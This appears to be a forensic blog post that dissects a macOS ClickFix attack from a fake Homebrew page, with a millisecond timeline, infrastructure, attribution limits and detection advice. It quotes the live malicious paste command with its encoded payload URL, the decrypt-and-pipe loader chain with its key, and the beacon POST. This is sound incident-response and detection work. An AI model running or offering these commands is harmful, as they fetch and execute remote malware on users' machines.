online lostsh.github.io fake-homebrew | 2026-09-03 rfc 3514: evil bit not set
post 06 2026-09-03 macos | clickfix | edr 541 ms

Anatomy of a ClickFix infection: a fake Homebrew page, 541 milliseconds, and an EDR alert that got it wrong

macOS | ClickFix | EDR | DFIR 24 min read

A technical teardown of a macOS paste-and-run attack caught on a developer machine during setup: the fake install command, what the loader actually did millisecond by millisecond, an investigation of the operator behind it, and why the endpoint alert misread the whole thing.

TL;DR

If you take one thing from this: "blocked" is not "stopped," and you should be detecting the unwrap, not the exfil.

Background: what ClickFix is

ClickFix (a.k.a. paste-jacking, "paste-and-run," fake-CAPTCHA/"ClearFake"-style delivery) has largely displaced malicious documents as an initial-access vector through 2025-2026. The mechanics are trivial:

  1. The victim lands on an attacker-controlled page, via SEO poisoning, malvertising, a compromised site, or a fake "verify you are human" overlay.
  2. The page tells the victim to copy a command and paste it into a terminal (macOS/Linux) or the Run dialog / PowerShell (Windows), framed as "fixing" something.
  3. The victim runs it themselves.

There is no exploit, no browser-dropped binary, no signed-installer abuse. The user is the delivery mechanism, and the command runs with their own privileges from a shell they opened on purpose. Against developers it is devastatingly effective, because curl ... | sh is a legitimate, everyday install pattern they are conditioned not to think twice about.

This case is a near-perfect specimen, and it came with a bonus: the EDR fired, blocked part of it, and then auto-generated an alert narrative confidently describing something that did not happen.

The two commands, side by side

The whole incident turns on one pasted line. Here is the genuine Homebrew installer:

bash | what brew.sh serves
# REAL: what brew.sh actually serves
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

And here is what the clone at brewmacosterm[.]com served:

bash | what the lure served
# FAKE: what brewmacosterm[.]com served
echo "https://brew.sh" && curl -s $(echo "aHR0cHM6Ly9zYXRpbm1hcGxlNC5jb20vY3VybC90enJxMnR6ZWcvYWpsN3Q5NmQ4bG5rMDAyZDN1dWVhcHYudHh0" | openssl base64 -d -A) | zsh

That base64 blob decodes to:

decoded payload url
https://satinmaple4.com/curl/tzrq2tzeg/ajl7t96d8lnk002d3uueapv.txt

(The captured lure points at satinmaple4[.]com; the victim's actual run, days earlier, resolved to anchorcoral10[.]com/curl/.../*.json. The lure rotates its payload host. More on that below.)

The clone, visually

Side by side, above the fold, as a visitor sees them. The lure was captured with a macOS User-Agent, because that is the only way to see it: anything else gets a 302 to google.com.

The genuine Homebrew homepage. A beer-mug logo above the wordmark Homebrew, the tagline The Package Manager for Everywhere, a box stating it supports macOS Sonoma 14 and newer, Linux and WSL, then a search field and an English language selector. Under an Install Homebrew heading sits a dark command box reading /bin/bash -c dollar-paren curl -fsSL https colon slash slash raw.githubusercontent.com slash Homebrew slash install slash HEAD slash install.sh, with a copy button at its right.
Figure 1: the genuine site. The command names Homebrew's own GitHub repository and is readable end to end
The cloned page. Identical beer-mug logo, wordmark, tagline and supports box, and an identical Install Homebrew heading and surrounding paragraphs. Two differences: the search field and language selector are absent, and the command box instead reads echo quote https colon slash slash brew.sh quote ampersand ampersand curl -s dollar-paren echo quote aHR0cHM6Ly9zYXRpbm1hcGxlNC5jb20 and then trails off into an ellipsis, with the same copy button at its right.
Figure 2: the lure at brewmacosterm[.]com. Same page, different command, and the base64 runs past the edge of the box

Three things are worth noticing in the pair. The clone is not an approximation: the logo, the tagline, the supports box, the Install Homebrew heading and both paragraphs under the command are the genuine page. What it drops is small and functional, the search field and the language selector, which are the two controls a visitor arriving to copy one command will never reach for.

The second is the command box itself. On the real site the destination is legible from beginning to end, and it says raw.githubusercontent.com/Homebrew/install. On the clone the string starts with a decoy echo "https://brew.sh" and then runs out of box: the base64 is cut off mid-blob by an ellipsis. Someone who does read before pasting sees a trusted URL at the start and no destination at all at the end.

The third is that the copy button is in the same place on both. The interaction the page is designed for, click copy and paste into a terminal, never shows the victim the part of the string that matters.

Full-page captures, for anyone who wants to compare further down: the genuine site and the clone.

Why the fake works, line by line

Real Homebrew Fake (brewmacosterm[.]com)
Interpreter bash zsh (the macOS default login shell)
Fetch flags curl -fsSL (fail, silent, show-errors, follow) curl -s (silent only)
Destination Readable, trusted: raw.githubusercontent.com/Homebrew/install/... Obfuscated: a base64 blob resolving to a burner domain
Payload form An auditable, open-source shell script A .txt/.json served as a script, never shown to the user
On disk Script is fetched into memory by bash Fileless: piped straight into zsh
Psychology Command visibly names Homebrew's GitHub echo "https://brew.sh" decoy prints a trusted URL, hiding the real one

Two design choices deserve a callout:

  1. echo "https://brew.sh" && ... is pure misdirection. It does nothing functional; it prints the legitimate Homebrew URL to the terminal so a glancing user sees https://brew.sh scroll past and feels reassured, while the real work happens after the &&.
  2. $(echo "<base64>" | openssl base64 -d -A) keeps the payload host out of the pasted text entirely. Anyone eyeballing their clipboard, or a naive paste-inspection tool, sees a base64 string, not satinmaple4[.]com. It also lets the operator swap the destination per build without changing the visible command shape.

The result: curl -s <hidden-url> | zsh, a silent, fileless remote fetch piped straight into the interactive shell. Structurally identical to a hundred legitimate installers the developer had run that morning. Which is the whole point.

The alert that started it, and why it was wrong

The event that landed in the queue was a ProcessBlocked on a single process:

the blocked process
curl -fsS -4 --connect-timeout 5 --max-time 10 -X POST \
     -H 'user: <redacted>' -H 'BuildID: <redacted>' \
     https://bridge-schema.com/api/metrics/run?event=pasted

Mapped to T1048: Exfiltration Over Alternative Protocol, an exfiltration pattern keyed to outbound POSTs. The generated impact statement said, in essence:

The legitimate /usr/bin/curl process was hijacked to exfiltrate data: encoded credentials in the user/BuildID headers, a likely leak of clipboard contents (event=pasted); consistent with malware, a malicious extension, or a clipboard stealer. No direct operational or data impact at this stage.

Every clause is wrong or misleading:

Alert said Actually
/usr/bin/curl was hijacked Not hijacked. Invoked normally by a pasted shell one-liner in an interactive zsh.
Encoded credentials in headers -> clipboard leak The headers are the campaign's victim ID and build ID. ?event=pasted is funnel telemetry, not clipboard data. No clipboard access appears anywhere in the tree.
"No data impact at this stage" An unblocked fetch, decode, decrypt, and host fingerprint completed before the block. Limited, but not zero.
Likely a "browser extension or clipboard stealer" Delivery was user-executed paste-and-run. No extension, no implant, no stealer was present.

The clipboard reading is a genuinely easy trap, because event=pasted does refer to pasting. But it describes what the victim pasted into the terminal, not what the malware read out of the clipboard. Direction matters. Getting it backwards turns a well-understood social-engineering chain into an imaginary clipboard-stealer hunt.

To see why the alert is wrong, you have to stop looking at the blocked process and look at its ancestry.

Setting the scene: a brand-new Mac

Context is what makes this case legible. The affected machine was two days into initial setup and the user was a developer with local admin. The hour before the incident is textbook onboarding, and it is exactly why one more curl ... | sh didn't stand out.

Time (UTC, day of) Event Verdict
13:13-13:16 Chrome profile restored: 22 extensions incl. a password manager, a browser wallet legitimate
15:06:40 a terminal emulator downloaded & unzipped from ~/Downloads legitimate bundle
15:13:46 Xcode Command Line Tools installed legitimate
15:15:27 a desktop AI client downloaded legitimate
15:19:57 curl to a Snazzy iTerm theme on github.com legitimate
15:21:24 curl | sh oh-my-zsh install (github.com) legitimate
15:21:52 Chrome connects to 172.67.131.178:443, an A-record of brewmacosterm[.]com the lure, 8 s before the paste
15:22:00 The malicious paste executes T0

Two legitimate curl|sh commands ran in the same shell in the three minutes before the malicious one. The malicious paste was contextually indistinguishable from the developer's own setup work. This is not a story about a careless user; it is a story about a lure engineered to land in precisely this window.

The lure domain itself: brewmacosterm[.]com, brew + macos + term, a name built to rank for exactly "install Homebrew / set up terminal on macOS." Registered the same day at 11:15:42 UTC, roughly four hours before use, via NiceNIC (HK) behind Cloudflare. VirusTotal at the time: 2 malicious / 86 clean. And it cloaks: a non-macOS User-Agent gets a 302 to google.com; a macOS User-Agent gets the payload page. (This is why an analyst's later urlscan.io check came back benign; see the lessons.)

The execution: 541 milliseconds, command by command

One paste. The full chain (12 commands, 22 processes) executed on /dev/ttys000 under zsh/zsh -l (the terminal emulator) in 541 ms: from T0 = 15:22:00.226 to the block at 15:22:00.767.

We reconstructed it by scoping the SIEM to the TTY, which collapses a busy dev laptop down to exactly what was typed or pasted into that terminal:

siem query
#repo=base_sensor
| ComputerName=<HOST>
| "#event_simpleName"=/^(ProcessRollup2|ProcessBlocked)$/
| TtyName="/dev/ttys000"
| @timestamp > 1788188400000 | @timestamp < 1788190400000
| table([@timestamp, "#event_simpleName", ParentBaseFileName, CommandLine], limit=200)
| sort(@timestamp, order=asc, limit=200)
Timeline chart of the 541 millisecond execution frame. A horizontal axis runs from 0 to 541 ms and carries four labelled events: at 0 ms the paste forks a zsh subshell on an interactive /dev/ttys000 under the terminal emulator; at 130 ms curl fetches the payload from anchorcoral10.com while openssl base64 decodes it, with TCP established at 157 ms; at 309 ms find counts .ips crash reports in DiagnosticReports as an anti-sandbox check; at 321 ms mkdir creates the staging directory update_x7vd9r, which is left empty. An inset below expands the final 86 ms, 455 to 541 ms, about fifteen times: at 464 ms xxd and openssl enc perform hex decoding then AES-128-CTR decryption with a hardcoded key and null IV, then gunzip; at 491 ms sysctl reads hw.memsize twice as an anti-VM check; at 523 and 532 ms id -u and whoami read privilege and identity; and at 541 ms a curl POST beacon to bridge-schema.com/api/metrics/run?event=pasted is the single step marked blocked, the only one of the twelve matched by a detection. A legend maps the colours to delivery and execution, decode and decrypt, host fingerprinting, staging, and the blocked beacon.
Figure 3: the 541 ms execution frame. The final 86 ms (where five events cluster) are time-expanded ~15x in the inset. Only the last event, the beacon, was blocked

The precise timeline

Delta from T0 Wall clock (UTC) Command Blocked?
+0 ms 15:22:00.226 zsh subshell forked: the paste no
+130 ms 15:22:00.356 curl -s https://anchorcoral10.com/curl/.../*.json (payload fetch) no, succeeded
+130 ms 15:22:00.356 openssl base64 -d -A (outer decode, streaming) no
+157 ms 15:22:00.383 TCP established to 104.21.95.67:443; payload retrieved (curl alive ~2.1 s) no
+309 ms 15:22:00.535 find ~/Library/Logs/DiagnosticReports -type f -name '*.ips' no
+321 ms 15:22:00.547 mkdir -p ~/Library/Caches/update_x7vd9r no
+464 ms 15:22:00.690 xxd -r -p | openssl enc -d -aes-128-ctr -K fd2c5e46...ece22270 -iv 0...0 | gunzip no
+491 ms 15:22:00.717 sysctl -n hw.memsize (x2) no
+523 ms 15:22:00.749 id -u no
+532 ms 15:22:00.758 whoami no
+541 ms 15:22:00.767 curl -X POST ... https://bridge-schema.com/api/metrics/run?event=pasted YES

(Auxiliary helpers interleave as parsing and integrity steps: wc -l, tr -d, date +%s, md5. The 12 above are the spine.)

Walk-through: what each step does, and why

+0 ms: zsh subshell forked (the paste). What: the pasted curl ... | zsh spawns a child zsh to run the fetched script. How we know it's a paste: parent/grandparent are interactive zsh/zsh -l on a real PTY (/dev/ttys000) under the terminal emulator, a human typing or pasting, not a daemon. Why it matters: this is the fork in the road between "developer ran an installer" and "developer ran a loader." Nothing here looks abnormal yet.

+130 ms: curl -s ...anchorcoral10.com/...json + openssl base64 -d -A. What: fetch the first-stage payload and begin unwrapping it. Why the .json: pure cover: the response is not JSON, it's an encrypted blob; the extension dodges naive content-type/extension controls. Why a second domain: the lure page and the payload host are separated on purpose (compartmentalization), so blocking the visible lure doesn't necessarily kill delivery. anchorcoral10[.]com never appeared in the blocked event and is invisible to any indicator-based search that starts from the alert.

+157 ms: TCP to 104.21.95.67:443, payload retrieved. What: the fetch completes against a Cloudflare front. Why it matters: the payload is now on the host, in memory, mid-pipe. Everything after this is local processing of attacker-controlled bytes.

+309 ms: find .../DiagnosticReports -name '*.ips'. What: count macOS crash reports. Why: anti-sandbox. A real, daily-driven Mac accumulates dozens-to-hundreds of .ips diagnostic reports; a freshly-spun analysis VM has ~none. It's a cheap, high-signal "is this a real person's machine" test, run before committing to stage two.

+321 ms: mkdir -p ~/Library/Caches/update_x7vd9r. What: create a staging directory. Why the name: update_* under Caches blends into constant cache churn; the random suffix avoids static-path detections. Outcome here: created and left empty: the stage-2 write never happened.

+464 ms: xxd -r -p | openssl enc -d -aes-128-ctr -K ... -iv 0...0 | gunzip. What: the second unwrap layer. The full reconstructed pipeline is:

reconstructed loader pipeline
curl -s ...json | openssl base64 -d -A | xxd -r -p | openssl enc -d -aes-128-ctr -K fd2c5e46...ece22270 -iv 0...0 | gunzip

i.e. base64-decode -> hex-decode -> AES-128-CTR decrypt -> gunzip, the exact reverse of gzip -> AES-encrypt -> hex-encode -> base64-encode. Why it's the important step: this (a remote fetch decrypted in-line and handed to a shell) is the malicious primitive, and it uses only living-off-the-land binaries present on every Mac. The key travels with the command (-K fd2c5e46..., a 128-bit key, with a null IV). Cryptographically that's worthless secrecy (trivially reversible once you have the command line), but the goal isn't secrecy, it's to keep the bytes opaque to signature/YARA scanning on the wire and at rest. A companion md5 acts as an integrity check so a partial/tampered download aborts cleanly.

+491 ms: sysctl -n hw.memsize (x2). What: read physical RAM. Why: anti-VM. Sandboxes commonly ship 2-4 GB; a dev laptop has 16-64 GB. A memory floor filters the cheap seats.

+523 / +532 ms: id -u | whoami. What: read UID and username. Why: establish privilege and identity: both to report home and, for many families, to branch on (escalate? which stage-2?). It ran as UID 502, no sudo; local admin was not required by this chain.

+541 ms: curl -X POST ...bridge-schema.com/api/metrics/run?event=pasted, BLOCKED. What: the beacon. Carries the fingerprint results home under two opaque headers (user: = victim ID, BuildID: = payload build). Why only this line was blocked: the pattern is shaped to match an outbound POST to an unknown host: it matched line 12 of 12. The loader that preceded it (a remote fetch piped through openssl enc -d into a shell) matched nothing. The EDR killed the phone-home; the infection had already run.

The ?event=pasted tell, read correctly

bridge-schema[.]com/api/metrics/run?event=pasted is dressed as benign analytics. ?event=pasted is the lure's conversion-funnel event. A ClickFix page instruments page_view -> command_copied -> pasted exactly like a growth team would, and this is the pasted step: the payload confirming the victim actually pasted into a terminal. The user:/BuildID: headers are campaign identifiers, not exfiltrated data. The recon from the previous steps would have gone home in a subsequent request that never fired, because this one was blocked.

So the corrected impact: the EDR killed the beacon; the infection (fetch, decode, decrypt, fingerprint) had already completed unblocked, ~2 seconds of attacker code in the user's session. The recon results never left the host, because the only egress attempt was the blocked beacon. No stage 2 retrieved, no files written, no persistence installed. Limited, but non-zero. And emphatically not "a clipboard stealer leaking credentials."

Campaign infrastructure

The alert named one domain. The chain named a second. OSINT tied together five domains registered across three days, a deliberately compartmentalized set:

Domain Registered (UTC) Registrar Cloudflare NS Role Status in incident
anchorcoral10[.]com 08-29 00:35 Dominet (HK) holly / mario payload delivery contacted (unblocked)
bridge-schema[.]com 08-29 10:43 Dominet (HK) aisha / simon telemetry beacon blocked (the alert)
brewmacosterm[.]com 08-31 11:15 NiceNIC (HK) derek / nia lure page visited
flint-32[.]com 08-31 13:32 Dominet (HK) archer / raphaela from sandbox detonation observed
satinmaple4[.]com 08-31 19:18 Dominet (HK) millie / wells from sandbox detonation observed

The cadence is the story: payload domains were pre-positioned two days ahead, the lure was registered four hours before use, and satinmaple4[.]com came up four hours after the incident. The operator was actively rotating infrastructure while we investigated.

Investigating the operator

The rest of this post turns the lens around: what can we responsibly infer about who ran this, from the infrastructure and tradecraft alone? The short version (and it directly answers the "is this an APT / what country?" question) is: this is commodity, financially-motivated e-crime, not a nation-state APT, and the operator's location is not determinable from what we hold. Here's the reasoning, with confidence stated for each claim.

1. The infrastructure is built to resist attribution

Every domain sits behind Cloudflare's free tier. The consequences:

Confidence: high that this is deliberate OPSEC. It is a mature operator, not a smash-and-grab.

2. The registrars point to cost and convenience, not a country

Two Hong Kong registrars: Dominet (HK) Limited (Alibaba Cloud's registrar; WHOIS via grs-whois.aliyun.com) and NiceNIC International Group (HK). Both are cheap, fast, low-friction, and heavily abused for disposable registrations.

A trap to avoid: a Chinese/HK registrar does not imply a Chinese actor. Dominet/Alibaba and NiceNIC serve a global customer base; the registrant's real location is masked by WHOIS privacy and the registrar's own HK address. Registrar geography tells you where it was cheapest to buy a burner domain, not where the operator sits. Confidence: high that registrar != operator location.

3. The passive signals are thin, on purpose

4. The tradecraft matches a known ecosystem

The technique fingerprint is specific and well-documented in public reporting on 2025-2026 macOS campaigns:

This is the delivery signature of the macOS infostealer ecosystem: AMOS / Atomic macOS Stealer and its neighbours (Odyssey, Cuckoo, MacSync), which repeatedly use fake-Homebrew ClickFix pages to harvest Keychain, browser data, and crypto wallets. The presence of a password manager and a browser wallet on this victim's freshly-restored profile is exactly the prize that ecosystem targets. Confidence: medium at the ecosystem/technique level (the behaviors are a strong match); the payload itself was never recovered, so we cannot name the exact family.

5. Attribution verdict

About the Operator country, Unknown. Registrar = HK != operator. Hosting = Cloudflare anycast != operator. No language or timezone artifacts (payload not captured). AMOS-family kits are sold predominantly in Russian-speaking criminal markets, an inference about the toolkit's provenance, not proof of this operator's nationality.

The honest headline: we can classify the ecosystem with reasonable confidence and the operator not at all. Anyone who tells you "HK registrar => Chinese APT" is reading the tea leaves backwards.

6. What would actually move attribution forward

Blast radius and impact

Detection engineering: stop detecting the exfil

The EDR fired on the least important step. T1048 caught the tail and blocked it (genuinely useful), but the actual malicious primitive ran unimpeded: a remote fetch piped through a decryption chain into a shell. It's also the weakest thing to key on; the operator can swap curl for nc, change the endpoint, or move to a differently-shaped beacon any time. What they cannot cheaply change is the shape of the unwrap, because it's dictated by how the payload was packed.

So the detection worth building keys on the unwrap, not the egress:

A process running openssl enc -d with a command-line -K (hardcoded key), inside an interactive shell (TtyName set), whose process-tree ancestry within ~1 s includes a curl/wget to a non-allowlisted host.

That composite is vanishingly rare in benign activity and is the heart of every encrypted living-off-the-land loader. Supporting signals that raise confidence:

Concretely: if your exfiltration pattern only matches an outbound POST, it will not see this chain at all. Evaluate a custom IOA on curl/wget output piped into a shell interpreter or into openssl enc -d. Two supporting hunts are worth keeping as reusable queries: a persistence sweep (update_x7vd9r / LaunchAgents / LaunchDaemons / login items after T0) and a file-write sweep (NewExecutableWritten / ScriptFileWritten under the staging path). Both returned clean here, which is what let us assert the chain broke at the beacon rather than hope it did.

Hard lessons

What went well: the persistence sweep was exhaustive, not filtered (all 96 event types on the host, every macOS ASEP class, no exclusions), and wiping a machine with no confirmed persistence was the right call given the unrecovered payload.

Indicators of compromise

Block the domains. Treat every IP here as context only: several are shared CDN/anycast and blocking them will cause an outage.

Type Value Note
Domain brewmacosterm[.]com Lure: fake Homebrew page, macOS-UA cloaked (else 302 -> google.com).
Domain anchorcoral10[.]com Stage-1 payload host: curl -s .../curl/<token>/<token>.json.
Domain bridge-schema[.]com Beacon: POST /api/metrics/run?event=pasted, user: + BuildID: headers.
Domain satinmaple4[.]com Payload host (rotated build, the base64 in the captured lure).
Domain flint-32[.]com Same campaign (Dominet + Cloudflare, shared anycast with satinmaple4).
URL path /curl/<token>/<token>.{json,txt} Per-victim delivery URL; extension is cover for an AES-CTR blob.
URL path /api/metrics/run?event=pasted ClickFix funnel "paste" callback.
SHA-256 b636262803922ee1dd0fbf614818473ffa53c811e44fd3278c2270d3af4759d3 Payload/process artifact from the chain.
AES-128 key fd2c5e4680d9a01dba3aada5ece22270 Hardcoded -K for openssl enc -d -aes-128-ctr, null IV.
Registrar pivot Dominet (HK) / NiceNIC (HK) + Cloudflare NS pair, apex created 08-29->08-31 Hunt new registrations on this composite.
IP (DO NOT BLOCK) 104.21.95.67, 172.67.143.123, 104.21.52.173, 172.67.201.147, 104.21.10.189, 172.67.131.178, 188.114.96.2, 188.114.97.2 Cloudflare anycast/fronting: shared with the open web. Context only.
IP (DO NOT BLOCK) 104.16.79.73, static.cloudflareinsights.com Sandbox "indicators": benign Cloudflare telemetry, fleet-wide prevalence.

Behavioral / host artifacts

Takeaways

  1. The blocked event is rarely the whole story. An EDR block is a point, not a timeline. Pull the process tree (scoped by TTY) before you believe the alert. The block was step 12 of 12.
  2. Read beacon parameters as the attacker's instrumentation, not as your data leaking. event=pasted is the campaign counting conversions. Direction matters.
  3. ClickFix defeats "the user didn't download anything" reasoning. No dropped file, no exploit: the human is the delivery mechanism, executing at their own privilege.
  4. Detect the unwrap, not the exfil. openssl enc -d -K ... downstream of a curl in an interactive shell is the durable signature. The egress is disposable.
  5. Fresh domains are low-VT by newness, not safety, and cloaked lures scan clean unless you use a macOS UA. Registrar geography and anycast hosting tell you nothing about the operator.
  6. State hypotheses as hypotheses, and non-attribution as non-attribution. This is e-crime, not an APT; the ecosystem is knowable, the operator is not. Writing down which is which is what keeps a phantom nation-state (or a missed second infection) from hiding inside an assumption.